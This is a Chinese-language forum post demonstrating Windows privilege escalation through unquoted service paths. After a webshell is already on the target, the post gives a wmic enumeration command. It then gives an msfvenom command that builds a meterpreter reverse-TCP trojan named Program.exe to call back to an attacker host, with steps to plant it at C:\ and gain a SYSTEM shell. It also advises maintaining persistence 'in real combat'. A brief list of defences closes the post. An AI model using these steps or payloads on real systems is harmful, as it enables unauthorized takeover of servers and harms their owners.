不带引号服务路径提权原理及演示

打印 上一主题 下一主题

主题 574|帖子 574|积分 1722

一、介绍

1.漏洞简介:
当创建可执行路径包含空格且未包含在引号内的服务时,会导致称为未引用服务路径的漏洞,该漏洞允许用户获得SYSTEM权限(当易受攻击的服务以 SYSTEM 权限运行时)。
2.漏洞原理:
在 Windows 中,如果服务没有用引号括起来并且有空格,它会将空格作为中断处理,并将服务路径的其余部分作为参数传递。
二、演示

环境准备:
靶机:腾讯云服务器 装有phpstudy环境的Windows server 2012 IP地址:49.xxx.xxx.xxx
攻击机:阿里云服务器 装有msf的ubuntu系统 IP地址:101.xxx.xxx.xxx
1.上传webshell后,打开网站

2.输入命令查看调用执行程序时不带引号的程序,从中挑选出带空格的
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
选择该程序文件

3.msf生成名为Program.exe的木马,并开启监听
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP地址 LPORT=4444 -f exe > Program.exe

为什么要命名为Program.exe?
如果路径包含空格并且没有用引号引起来,Windows API 必须假定在哪里可以找到引用的应用程序。服务会按照以下顺序依次执行
C:\Program.exe
C:\Program Files\qcloud\tat_agent\tat_agent.exe
所以将木马命名为Program.exe,并将其放在C盘根目录,会使其优先执行
4.利用webshell将该木马上传至靶机c盘根目录

5.在靶机启动该服务,攻击机收到反弹shell
我们通过webshell是无法启动服务的,实战中可以使管理员重启服务器,服务就能被开启了。
这里我们模拟管理员启动该服务

6.查看权限,成功提权

靶机启动服务后,只能连接一小段时间,实战中做好权限维持即可
三、防御措施

1.确保路径中包含空格的任何服务都将路径括在引号中。
2.通过设置非特定于用户或特权账户的目录和文件权限来限制访问。
3.通过应用程序控制或脚本来阻止系统上的代码执行。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

八卦阵

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表